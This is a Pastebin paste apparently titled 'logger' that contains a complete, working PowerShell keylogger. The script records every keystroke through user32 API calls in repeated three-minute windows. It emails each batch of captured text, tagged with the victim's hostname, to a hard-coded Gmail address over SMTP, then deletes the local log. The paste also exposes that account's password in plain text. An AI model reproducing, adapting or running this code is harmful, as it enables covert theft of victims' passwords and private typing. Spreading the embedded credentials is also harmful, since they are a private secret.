Advertisement
MyNameIsFly

logger

Jun 8th, 2018
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $a = 1
  2. while ($a -le 200) {
  3. $TimeToRun = 3
  4. ############################
  5.  
  6.  
  7. $TimeStart = Get-Date
  8. $TimeEnd = $timeStart.addminutes($TimeToRun)
  9. function Start-KeyLogger($Path = "kl.txt")
  10. {
  11.   $signatures = @'
  12. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  13. public static extern short GetAsyncKeyState(int virtualKeyCode);
  14. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  15. public static extern int GetKeyboardState(byte[] keystate);
  16. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  17. public static extern int MapVirtualKey(uint uCode, int uMapType);
  18. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  19. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  20. '@
  21.  
  22.  
  23.   $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  24.    
  25.   $null = New-Item -Path $Path -ItemType File -Force
  26.   try
  27.   {
  28.     while ($TimeEnd -ge $TimeNow) {
  29.       Start-Sleep -Milliseconds 40
  30.      
  31.       # scan all ASCII codes above 8
  32.       for ($ascii = 9; $ascii -le 254; $ascii++) {
  33.         # get current key state
  34.         $state = $API::GetAsyncKeyState($ascii)
  35.  
  36.         # is key pressed?
  37.         if ($state -eq -32767) {
  38.           $null = [console]::CapsLock
  39.  
  40.           # translate scan code to real code
  41.           $virtualKey = $API::MapVirtualKey($ascii, 3)
  42.  
  43.           # get keyboard state for virtual keys
  44.           $kbstate = New-Object Byte[] 256
  45.           $checkkbstate = $API::GetKeyboardState($kbstate)
  46.  
  47.           # prepare a StringBuilder to receive input key
  48.           $mychar = New-Object -TypeName System.Text.StringBuilder
  49.  
  50.           # translate virtual key
  51.           $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  52.  
  53.           if ($success)
  54.           {
  55.             # add key to logger file
  56.             [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  57.           }
  58.         }
  59.       }
  60.   $TimeNow = Get-Date
  61.     }
  62.   }
  63.   finally
  64.   {
  65.     $SMTPServer = 'smtp.gmail.com'
  66.     $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  67.     $SMTPInfo.EnableSsl = $true
  68.     $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youjustgotscrewedbadly666@gmail.com', 'iliketolove9332')
  69.     $ReportEmail = New-Object System.Net.Mail.MailMessage
  70.     $ReportEmail.From = 'youjustgotscrewedbadly666@gmail.com'
  71.     $ReportEmail.To.Add('youjustgotscrewedbadly666@gmail.com')
  72.     $ReportEmail.Subject = 'KL - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
  73.     $ReportEmail.Body = Get-Content -PATH ($Path)
  74.     $SMTPInfo.Send($ReportEmail)
  75.     Remove-Item -Path $Path -force
  76.   }
  77. }
  78.  
  79. Start-KeyLogger
  80. $a
  81. $a++
  82. }
  83. exit (1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement